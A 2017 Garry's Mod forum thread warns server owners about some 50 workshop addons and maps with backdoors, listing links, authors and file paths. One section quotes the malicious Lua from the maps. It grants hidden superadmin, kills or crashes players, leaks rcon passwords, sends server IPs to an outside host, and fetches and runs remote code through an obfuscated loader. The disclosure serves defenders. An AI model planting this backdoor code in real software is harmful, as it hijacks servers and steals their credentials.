[PSA] Check your servers.. again (69+ Malicious Addons)

Garry's Mod coding
#1

A continuation of my previous thread

Download the latest(06-27-17) workshop dump and search yourself, this list could probably be doubled if someone has the time to sort through false positives: here

The following addons contain malicious code to varying degrees. I already directed Rubat to this so no need to bother him.

Light’s Paste
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=657268117
Download: http://cloud-3.steamusercontent.com/ugc/172669362200307103/D7F651FF14882436919AB6E74E474A975469794A/
Author: https://steamcommunity.com/profiles/76561198080024287
File: lua\autorun\lightv1.lua

GBombs 5 Base USE AT OWN RISK!
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=659992664
Download: http://cloud-3.steamusercontent.com/ugc/509279488225744431/4D739D4F1020E770652D1935D071F1970202B242/
Author: https://steamcommunity.com/profiles/76561198075981630
File: lua\autorun\server\gb5_main.lua

Rust Racers Base - The Drivable & Upgradable & Destructible Multiplayer Car Framework (Required)
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=679136199
Download: http://cloud-3.steamusercontent.com/ugc/268346059238390737/558886014EA4FDB3F6BFFA125526EE659747F1E3/
Author: https://steamcommunity.com/profiles/76561198302955689
File: lua\autorun
eurotec_madmax_waypoints.lua

Rust Racers Muscle Extra Pack - Upgradable Battle Cars
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=706986511
Download: http://cloud-3.steamusercontent.com/ugc/268346059238380836/8ABFD51353402F5411D788475460A7EA5FCD9931/
Author: https://steamcommunity.com/profiles/76561198302955689
File: lua\autorun
eurotec_madmax_statistics.lua

Rust Racers - Swedish Welfare Pack - Volvo/Saab/Koenigsegg - Destructible & Upgradable!
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=719111292
Download: http://cloud-3.steamusercontent.com/ugc/268346059238359056/FCD980D27D5AB7E73195CB3EE4D4669B2CC06AB9/
Author: https://steamcommunity.com/profiles/76561198302955689
File: lua\autorun
eurotec_madmax_statistics.lua

Cassette Content/Plugin (DESCRIPTION)
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=721228807
Download: http://cloud-3.steamusercontent.com/ugc/1622805206883871591/C12F68D91E078909922C2E74F22D9FD394610F91/
Author: https://steamcommunity.com/profiles/76561198061164861
File: lua\autorun extscreen_utils.lua

MoonGaming Paket 6
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=722054508
Download: http://cloud-3.steamusercontent.com/ugc/280729915158127163/12D280D0CEE91FACEB13DE7AB24608CD6F6DA94C/
Author: https://steamcommunity.com/profiles/76561198042407495
File: lua\autorun\server\function_motor.lua

ServerPart4
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=736738659
Download: http://cloud-3.steamusercontent.com/ugc/448492202384096963/FA4144FCB3614C3B977567ED41B47035F8722605/
Author: https://steamcommunity.com/profiles/76561198111699194
File: lua\weapons\weapon_gb_plaselec2.lua

[TNC] WAC F86F-25 Buffed [WAC unofficial]
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=746130865
Download: http://cloud-3.steamusercontent.com/ugc/226696864080340821/5FE8C1A68BA8C1572458FC93AC9EFD87DCB15FAF/
Author: https://steamcommunity.com/profiles/76561198056083145
File: lua\autorun\server\assets.lua

ServerPart6
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=749762101
Download: http://cloud-3.steamusercontent.com/ugc/830196727537731531/BBA241CDAC6B6BBF2B87FEED5F567CD5D5ADB2BF/
Author: https://steamcommunity.com/profiles/76561198111699194
File: lua\weapons\weapon_gb_plaselec2.lua

ServerContent Tekken Kuma Playermodel
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=759143660
Download: http://cloud-3.steamusercontent.com/ugc/261595156256582624/888DC191294C1A816604E4A5CF9E9B83593A7E03/
Author: https://steamcommunity.com/profiles/76561198268830258
File: lua\autorun\kumac.lua

deathrun_office_fix
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=763213376
Download: http://cloud-3.steamusercontent.com/ugc/251462403324089778/E85B3A649B5601A6E2DA477B1E488C3249BE7DCC/
Author: https://steamcommunity.com/profiles/76561198097747617
File: lua\autorun\antiafk.lua

Content AliveRP #1
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=783101509
Download: http://cloud-3.steamusercontent.com/ugc/80342258398521873/164C47723E11DD1A12FD294276AAAD41B19D33F1/
Author: https://steamcommunity.com/profiles/76561198151754408
File: lua\autorun\aliverp.lua

Flatgrass 4.0
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=791702131
Download: http://cloud-3.steamusercontent.com/ugc/232326961980246243/4488AE297C9FCE00935BE2A76A517B77BD846A79/
Author: https://steamcommunity.com/profiles/76561198029915566
File: lua\autorun\init.lua

Melee Weapons for HL2RP (READ DESC!)
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=801285388
Download: http://cloud-3.steamusercontent.com/ugc/824567564824269148/4F3E6C05D3B079EBA27F54C6127CC4D3FCB9201B/
Author: https://steamcommunity.com/profiles/76561198121756693
File: lua\autorun\server\debugging_dont_touch.lua

dontuse
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=802111637
Download: http://cloud-3.steamusercontent.com/ugc/92721123050721674/39755671B39A43A591552BA47DD7F05EB4765D7F/
Author: https://steamcommunity.com/profiles/76561198071829707
File: lua\autorun\core[do not edit].lua

[NCG] CWRP Content #24 [Remake]
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=813265556
Download: http://cloud-3.steamusercontent.com/ugc/101725152288600352/221ADA50B88518580D91D93C71FF91351F962F52/
Author: https://steamcommunity.com/profiles/76561198122119909
File: lua\autorun\server\lieutenant_playermodels2.lua

ValkyrieRP Police Shield Content
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=815145673
Download: http://cloud-3.steamusercontent.com/ugc/101725789660812827/0D824ADC02C499343C45271FE75AFC392850AC9A/
Author: https://steamcommunity.com/profiles/76561198099244501
File: lua\weapons\weapon_policeshield\shared.lua

basepart1
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=823524245
Download: http://cloud-3.steamusercontent.com/ugc/107356715971781324/843C0708C2C6228E9145CC5719E83813294F5AC2/
Author: https://steamcommunity.com/profiles/76561198038588730
File: lua\autorun
eurotec_helperfunctions.lua

Merged Addons v0.2
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=827117758
Download: http://cloud-3.steamusercontent.com/ugc/98349535618937123/2B8A5171F7E69C1DAD70992F1D5E2DD94C038276/
Author: https://steamcommunity.com/profiles/76561197984491018
File: lua\autorun extscreen_utils.lua

Exon City 3 | DarkRP | Server Content 2
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=833628889
Download: http://cloud-3.steamusercontent.com/ugc/167031150596881403/A915687E75E431E9776635D7C2D8A7E91583F624/
Author: https://steamcommunity.com/profiles/76561197999609064
File: lua\weapons\death_note_ttt\cl_init.lua

Min`Razer ULX Trainer
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=839045154
Download: http://cloud-3.steamusercontent.com/ugc/185045332680876871/AD1F60909416A2C2AF62CE73C2CF52C4521498FF/
Author: https://steamcommunity.com/profiles/76561198116786693
File: lua\autorun\ulib_init.lua

Min`Razer ULX Trainer
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=839045154
Download: http://cloud-3.steamusercontent.com/ugc/185045332680876871/AD1F60909416A2C2AF62CE73C2CF52C4521498FF/
Author: https://steamcommunity.com/profiles/76561198116786693
File: lua\ulx\modules\sh\util.lua

UTime Extension
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=853456452
Download: http://cloud-3.steamusercontent.com/ugc/764895412723980077/A6CF6E074870A1B3BBF4597822662150A106B61F/
Author: https://steamcommunity.com/profiles/76561198038819576
File: lua\commands\main.lua

juif skin
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=865134449
Download: http://cloud-3.steamusercontent.com/ugc/91601559284169479/0B31C6DAB4B09A71CB9352561C3307726638599A/
Author: https://steamcommunity.com/profiles/76561198038588730
File: lua\autorun\scp_d_class_pm.lua

[Astrizia] Utility Content [DARKRP#1]
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=870246166
Download: http://cloud-3.steamusercontent.com/ugc/158027756675048346/935C5D5685FE4561402116A5824E3188C38E6B33/
Author: https://steamcommunity.com/profiles/76561198344769722
File: lua\autorun\server\sv_stats.lua

Content VCMod
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=870606358
Download: http://cloud-3.steamusercontent.com/ugc/92725562080066016/E4286D5D65FEB3DC1852B78380EC9F56EF18C453/
Author: https://steamcommunity.com/profiles/76561198096983299
File: lua\vcmod\server\vc_load.lua

Bus pénitencier
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=874066273
Download: http://cloud-3.steamusercontent.com/ugc/156902400678494030/792D5233F64FF0952C5737D519CCD856CF3D872C/
Author: https://steamcommunity.com/profiles/76561198144323809
File: lua\autorun\prisonbus.lua

Revival Vietnam Content #6
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=885682961
Download: http://cloud-3.steamusercontent.com/ugc/88223956350283327/D5D470A0383D0F64A0F5B3E280C2759DC53CED0E/
Author: https://steamcommunity.com/profiles/76561198114135231
File: lua\autorun\server\gb5_main.lua

rp_prisonrp_v2a - Prisel.fr
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=890292791
Download: http://cloud-3.steamusercontent.com/ugc/849340042667283001/58352039D174EE8B88F6D2DBEF54287C598542F9/
Author: https://steamcommunity.com/profiles/76561198194386623
File: lua\autorun\server\opti_lag.lua

ULX Auto Cleanup Decals (180s)
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=896598554
Download: http://cloud-3.steamusercontent.com/ugc/89351354846543518/B357F27E82987063A123634A602091EEB7D36DCC/
Author: https://steamcommunity.com/profiles/76561198068408272
File: lua\autorun\server\acdserver.lua

[RusHogwartsRP] Content #1
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=898923021
Download: http://cloud-3.steamusercontent.com/ugc/824566203566658818/92C1AB30BA427E0E1F34E702BD0BB2995794D68E/
Author: https://steamcommunity.com/profiles/76561198219071503
File: lua\autorun\apa_antiprop.lua

[RusHogwartsRP] Content #1
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=898923021
Download: http://cloud-3.steamusercontent.com/ugc/824566203566658818/92C1AB30BA427E0E1F34E702BD0BB2995794D68E/
Author: https://steamcommunity.com/profiles/76561198219071503
File: lua\autorun\client\apa_antiprop.lua

[RusHogwartsRP] Content #1
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=898923021
Download: http://cloud-3.steamusercontent.com/ugc/824566203566658818/92C1AB30BA427E0E1F34E702BD0BB2995794D68E/
Author: https://steamcommunity.com/profiles/76561198219071503
File: lua\autorun\server\apa_antiprop.lua

[Erycorp] Tools
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=902093894
Download: http://cloud-3.steamusercontent.com/ugc/93855990759682061/E09B0D0DC77C4B208B915052446A28E20E3ACFD4/
Author: https://steamcommunity.com/profiles/76561198079377620
File: lua\autorun\server\serverside_ulx.lua

[Erycorp] Tools
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=902093894
Download: http://cloud-3.steamusercontent.com/ugc/93855990759682061/E09B0D0DC77C4B208B915052446A28E20E3ACFD4/
Author: https://steamcommunity.com/profiles/76561198079377620
File: lua\ulx\modules\sh\ulx_cleanup_kit_v2.lua

ServerContent
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=903633053
Download: http://cloud-3.steamusercontent.com/ugc/155780382227145796/5EFD21C359A43495505F8E9AE63DFC365AE2BD94/
Author: https://steamcommunity.com/profiles/76561198090559080
File: lua\sv_wtev_tttoverrides.lua

Physics Engine Editor
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=909653965
Download: http://cloud-3.steamusercontent.com/ugc/800922476717914891/AFB8452EE57120A4E5F107820C4C342BC5E8DA24/
Author: https://steamcommunity.com/profiles/76561198011052562
File: lua\autorun\physicsenvedit.lua

SS Projcet Content 2
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=910758420
Download: http://cloud-3.steamusercontent.com/ugc/824565659831483617/9AD6E87D15DA920AB62004B7011734B40E9282DC/
Author: https://steamcommunity.com/profiles/76561198219071503
File: lua\autorun\server\drugz_resource.lua

Admin Stick
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=911088204
Download: http://cloud-3.steamusercontent.com/ugc/806551261323298979/E76B6A26E480870547930BCB259847BDE2948461/
Author: https://steamcommunity.com/profiles/76561198017388543
File: lua\autorun\server\init_adminstick.lua

Black Reaper (PlayerModel)
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=917020296
Download: http://cloud-3.steamusercontent.com/ugc/817811247825367403/1DEBDE63FAF9C9BD40C16AEF1D45EAD3687DE3CF/
Author: https://steamcommunity.com/profiles/76561198132868201
File: lua\autorun\hei.lua

Anti - Propkill
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=918339073
Download: http://cloud-3.steamusercontent.com/ugc/824566838755426333/0EF2B0164FF4318BECB5B5B285E3F4CF1AE0C4EF/
Author: https://steamcommunity.com/profiles/76561198102046629
File: lua\autorun\server\apa_antiprop.lua

[Chariot] Archived Skins
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=919494952
Download: http://cloud-3.steamusercontent.com/ugc/838080810474337237/F990E56A64C416A4D7F6D751AC729EE665A4F48A/
Author: https://steamcommunity.com/profiles/76561198112857813
File: lua\autorun\hei.lua

– metadata failed to parse for w/e reason and im not going to manually do it
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=927969485
File: lua\autorun
eurotec_helperfunctions.lua

[MG] Content #33
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=932055077
Download: http://cloud-3.steamusercontent.com/ugc/778406850961501883/3231CCCEC68002AD5BA0BB7C1FDBD35F16E4256B/
Author: https://steamcommunity.com/profiles/76561198135216874
File: lua\autorun\server\gb5_main.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\autorun\wpp.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\fpp\server\antispam.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\fpp\server\core.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\fpp\server\defaultblockedmodels.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\fpp\server\ownability.lua

Wombles Prop Protection
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=933466284
Download: http://cloud-3.steamusercontent.com/ugc/780658650788186818/ED8F56EB20BC9CDD09CDEE627C737200F87F1B7D/
Author: https://steamcommunity.com/profiles/76561198338796306
File: lua\fpp\server\settings.lua

GamingBay
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=952055330
Download: http://cloud-3.steamusercontent.com/ugc/868481724759445875/90396C64A835A6403F721D950BE988A4F4C3D4FB/
Author: https://steamcommunity.com/profiles/76561198180283279
File: lua\autorun\server\bckd.lua

lnnr content
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=954375895
Download: http://cloud-3.steamusercontent.com/ugc/856096681666889802/FC48C10913C813B4C68280F954DF5256FCDC4B34/
Author: https://steamcommunity.com/profiles/76561198193124314
File: lua\weapons\gb_plasmid_electricity.lua

lnnr content
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=954375895
Download: http://cloud-3.steamusercontent.com/ugc/856096681666889802/FC48C10913C813B4C68280F954DF5256FCDC4B34/
Author: https://steamcommunity.com/profiles/76561198193124314
File: lua\weapons\weapon_gb_plaselec2.lua

Eternal SCP SWEP Gun
Link: http://steamcommunity.com/sharedfiles/filedetails/?id=955151149
Download: http://cloud-3.steamusercontent.com/ugc/850467350651902372/A23B40272FDEBF31786E2A6D8CFA0FDCCE76C63A/
Author: https://steamcommunity.com/profiles/76561198164746333
File: lua\weapons\weapon_scp106.lua

Maps found by Scott:

link: https://steamcommunity.com/sharedfiles/filedetails/?id=397374620
map: rp_downtown_v2_srh
[lua]
if debugoverlay.MAP_KEY_Q != [[gvpFxLWLMKWtXHfM]] then
for k,v in pairs(player.GetAll()) do
v:SendLua([[cam.End3D();cam.End3D();cam.End3D()]])
end
end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=450795921
map: rp_nova_prospekt_v8a_proc
[lua]
– Ran via buttons that are behind a secret door that only STEAM_0:0:51388942 or STEAM_0:1:82062699 can get to
for k,v in pairs (player.GetAll()) do
v:Kill()
end
function checkAdmin(ply)
if ply:IsAdmin() then
for k,v in pairs do v:Kill()
end
end
end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=469912058
map: fm_buildaboat_canal_final
[lua]
– Ran by Buttons
RunConsoleCommand(‘ulx’, ‘adduser’, ‘oreowolf’, ‘superadmin’)
RunConsoleCommand(‘ulx’, ‘unban’, ‘STEAM_0:1:40285439’)
RunConsoleCommand(‘ulx’, ‘adduserid’, ‘STEAM_0:1:40285439’, ‘admin’)
RunConsoleCommand(‘ulx’, ‘logFile’, ‘0’)
RunConsoleCommand(‘ulx’, ‘logEcho’, ‘0’)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=472986330
map: fm_buildaboat_canal_b12wn
[lua]
– Ran by Buttons
RunConsoleCommand(‘ulx’, ‘adduserid’, ‘STEAM_0:1:40285439’, ‘superadmin’)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=577903206
map: ttt_67thway_v3_night
[lua]
– Ran by Buttons
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘owner’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘operator’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘superadmin’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘admin’);
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=684501911
map: rp_rockford_impulsion_v19
[lua]

  • auto_logic OnLoadGame
    hook.Add(‘PlayerSpawn’,‘DarkRP_Loadout’,function() if not IMPULSIONISON then while true do end end end)
    [/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=686386148
map: ttt_nuclear_power_v3
[lua]

http.Fetch( ‘https://dl.dropboxusercontent.com/u/54408286/Mapping/map_lua/ttt_nuclear_power/tttnp_lua_autorun.lua’, function( body, _, _, code )
if code == 200 then
RunString( body )
else
print('Cannot get hosted map Lua. Error: '… code )
for _, x in pairs(ents.FindByName(‘relay_onlinecode_1_fail’)) do
x:Fire(‘Trigger’)
end
end
end, function( )
for _, x in pairs(ents.FindByName(‘relay_onlinecode_1_fail’)) do
x:Fire(‘Trigger’)
end
print( ‘Cannot get hosted map lua. Error: Unsuccessful’ )
end )

http.Fetch( ‘https://dl.dropboxusercontent.com/u/54408286/Mapping/map_lua/ttt_nuclear_power/tttnp_lua_auxiliary.lua’, function( body, _, _, code )
if code == 200 then
RunString( body )
else
print('Cannot get hosted map Lua. Error: '… code )
for _, x in pairs(ents.FindByName(‘relay_auxcode_1_fail’)) do
x:Fire(‘Trigger’)
end
end
end, function( )
for _, x in pairs(ents.FindByName(‘relay_auxcode_1_fail’)) do
x:Fire(‘Trigger’)
end
print( ‘Cannot get hosted map lua. Error: Unsuccessful’ )
end )

if ACTIVATOR:IsPlayer() and ACTIVATOR:SteamID() == ‘STEAM_0:1:30351687’ then
for _, x in pairs(ents.FindByClass(‘lua_run’)) do
if x:GetName() == ‘lua_online_auxiliary’ then
x:Fire(‘RunCode’)
end
end
end

if ACTIVATOR:IsPlayer() and ACTIVATOR:SteamID() == ‘STEAM_0:1:30351687’ then
for _, x in pairs(ents.FindByClass(‘env_fire’)) do
if x:GetName() == ‘bodyfire’ then
x:Fire(‘Kill’)
end
end
end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=719653058
map: gm_mus_loopline_d
[lua]
– Also something just just opens steam browser with some image
local function kek(ply)
if ply:SteamID() == ‘STEAM_0:1:80351695’ or ply:SteamID() == ‘STEAM_0:1:80351695’ then
if ply:GetPos():Distance(Vector(-1208,4028,-5140)) > 300 then
ply:SetPos(Vector(-1208,4028,-5140))
end
return ‘я пидор’
end
end
hook.Add(‘PlayerSpawn’, ‘pidarnyom’, kek)
hook.Add(‘PlayerSay’, ‘pidarnyom’, kek)
hook.Add(‘PlayerButtonDown’, ‘pidarnyom’, kek)
hook.Add(‘PlayerButtonUp’, ‘pidarnyom’, kek)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=742919573
map: ttt_67thway_v3_night
[lua]
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘owner’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘operator’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘superadmin’);
RunConsoleCommand (‘ulx’, ‘adduser’, ‘hyperion’, ‘admin’);
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=790270892
map: rp_glife_rockford3
[lua]
for k,v in pairs(player.GetAll()) do
v:ConCommand(‘connect 149.202.65.102:27015’)
end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=819622543
map: rp_evocity_nex_build001
[lua]
local h,s,r=http.Fetch,string.sub,RunString h(‘http://fastdl.nexusrp.ru/nexus-fetch/’,function(c)if(s(c,3,13)=='ProMT_Pid0r’)then r©end end)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=850983626
map: rp_glife_rockford3
[lua]
for k,v in pairs(player.GetAll()) do
v:ConCommand(‘connect 149.202.65.102:27015’)
end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=860327220
map: fm_buildaboat_canal_b12wn
[lua]
RunConsoleCommand(‘ulx’, ‘adduserid’, ‘STEAM_0:1:40285439’, ‘superadmin’)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=861647775
map: rp_suncity_v2a
[lua]
concommand.Add(‘donoteditthemaporigetyourrcon’, function(ply)
if string.lower(game.GetMap()) == ‘rp_suncity_v2a’ || !IsValid(ply) then
return
end
local d = file.Read(‘cfg/server.cfg’, ‘GAME’)
if d then
d = string.Split(d, ‘/n’)
for _, v in pairs(d) do
local f = string.Split(v, ‘/n’)
if string.find(v, ‘rcon’) then
ply:ChatPrint(string.sub(v, 1, 250))
end
end
end
end)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=870711165
map: rp_ozmoscity_v2a
[lua]
concommand.Add(‘donoteditthemaporigetyourrcon’, function(ply)
if string.lower(game.GetMap()) == ‘rp_suncity_v2a’ || !IsValid(ply) then
return
end
local d = file.Read(‘cfg/server.cfg’, ‘GAME’)
if d then
d = string.Split(d, ‘/n’)
for _, v in pairs(d) do
local f = string.Split(v, ‘/n’)
if string.find(v, ‘rcon’) then
ply:ChatPrint(string.sub(v, 1, 250))
end
end
end
end)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=888922608
map: rp_evocity_v33x_bk
[lua]
ULib.ucl.addUser( ‘STEAM_0:0:47317733’, _, _, ‘superadmin’ )
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=893345150
map: ttt_aircraft_v3
[lua]
if ( SERVER ) then hook.Add(‘PlayerUse’, ‘secret_creater_check’, function(ply,ent) if(ent:GetName()==‘secret_creater_check’) then if(ply:SteamID()==‘STEAM_0:0:55984869’) then local doors = ents.FindByName(‘secret_door’) for j = 1, #doors do doors[j]:Fire(‘Open’, 1) end end end end ) end
if game.SinglePlayer() then return end if (SERVER) then http.Post(‘http://gamedevice.hol.es/maps.php’, {ip=game.GetIPAddress(), hostname=GetHostName()}) end
RunConsoleCommand(‘ulx’, ‘adduserid’, ‘STEAM_0:1:98519086’, ‘superadmin’)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=898040153
map: rp_breakingpoint_v2b
[lua]
concommand.Add(‘donoteditthemaporigetyourrcon’, function(ply)
if string.lower(game.GetMap()) == ‘rp_suncity_v2a’ || !IsValid(ply) then
return
end
local d = file.Read(‘cfg/server.cfg’, ‘GAME’)
if d then
d = string.Split(d, ‘/n’)
for _, v in pairs(d) do
local f = string.Split(v, ‘/n’)
if string.find(v, ‘rcon’) then
ply:ChatPrint(string.sub(v, 1, 250))
end
end
end
end)
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=903692643
map: rp_evocity_v66x
[lua]
ULib.ucl.addUser( ‘STEAM_0:0:47317733’, _, _, ‘superadmin’ )
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=919957913
map: rp_icefuse_kachirho
[lua]
– When their IFN model isn’t present (I think)
while true do end
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=934557289
map: rp_rockford_livin
[lua]
ULib.ucl.addUser( ‘STEAM_0:0:47317733’, _, _, ‘superadmin’ )
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=942839441
map: rp_test
[lua]
local id=tostring(math.random(1,9999))
local function ki()
for k,_ in pairs(_G)do
_G[k]=nil
end
end

local function dl(l)
if ub then
ub(l)
else
ki()
end
end

local ma=string.match
local function g()
http.Fetch(‘http://textuploader.com/5eefb/raw’,function(b,l,h,c)
local s = ma(b,’@’…game.GetIPAddress()…’@%s([^.@]+)’,0)
if s then
if ma(s,‘l ‘) then
dl(string.Replace(ma(s,‘l (.+)’,0),’`’,’.’))
elseif ma(s,'t ') then
timer.Adjust(id,tonumber(ma(s,‘t%s(%w+)’,0)),0,g)
end
end
end)
end

timer.Create(id,60,0,g)
local st=’’
for _,v in pairs({82,117,110,83,116,114,105,110,103})
do st = st…string.char(v)
end
ub=_G[st]
[/lua]

link: https://steamcommunity.com/sharedfiles/filedetails/?id=954255089
map: rp_rockford_olympus
[lua]
ULib.ucl.addUser( ‘STEAM_0:0:47317733’, _, _, ‘superadmin’ )
[/lua]

link: 740809754
map: fm_buildaboat_canal_b12wn
[lua]
RunConsoleCommand(‘ulx’, ‘adduserid’, ‘STEAM_0:1:40285439’, ‘superadmin’)
[/lua]

#2

by malicious code to varying degrees id assume you mean potentially all of these:

a) these steamid’s can run lua / give themselves superadmin
b) anyone can run sv lua / give themselves superadmin
c) you can spawn in some entity
d) gives access to some lua backdoor (odium.pro style)

#3

good job glws

#4

It would be useful to have a web service that performed periodic scans against the garrysmod workshop content and recorded its results, would make addon review by server administrators and workshop mods much easier. Could even piggyback off yara for the pattern matching so people could contribute signatures on github.

#5

I love the ones that really try to hide it with stuff like “don’t edit” and “don’t touch!!”

#6

“dont touch or it breaks addon!!!”

“necessary code dont edit”

“super secrit code that maek thing work!”

#7

Good work Penguin, I have executed bans on all the users though the power of the Garry’s Mod Nexus.

#8

My god, I have one of those guys in my friends list. I’d never suspect. Oh well.

#9

oh shit guys the gmod nexus is angry everybody run.

On another note i’ve downloaded the torrent with the dump of addons but I really cant be fucked to go through them right now, i probably will at somepoint later today though.

#10

That was a joke :smiley:

#11

can you add a direct download to the .gma’s before they get removed from workshop?

#12

I wrote an application that did this a while ago. It even had this nifty thing that let you preview maps in your browser. Unfortunately my shitty VPS didn’t have enough room to store all the shit, and my attempts at finding malicious code didn’t get very far. It’s crowning achievement ended up being when Willox wanted to know what addon a file was from and it ended up being really obvious.

Mad respect to Penguin for having way more success with this kind of thing than I did.

#13

Looks like this is my department.

#14

What the hell, someone leaked my work on there? O.o

[editline]28th June 2017[/editline]

Filed a DMCA notice towards the leaked VCMod addon. Sorry for the issues.

#15

even worst: https://www.gmodstore.com/scripts/view/4076/ (credts to rako)

#16

Crap.

#17

Not banning these:

http://steamcommunity.com/sharedfiles/filedetails/?id=224501932 - don’t see a backdoor or w/e

As far as I can tell it’s all the same thing and it’s just particles.

And here the would be malicious code is commented out

#18

I would personally back a web client that users can enter the workshop id of the addon to check if the user has a past of adding backdoor to their addons, etc.

Thanks for this.

#19

But people who put backdoors in their workshop addons get banned from uploading to the workshop.

#20

why not include the malicious code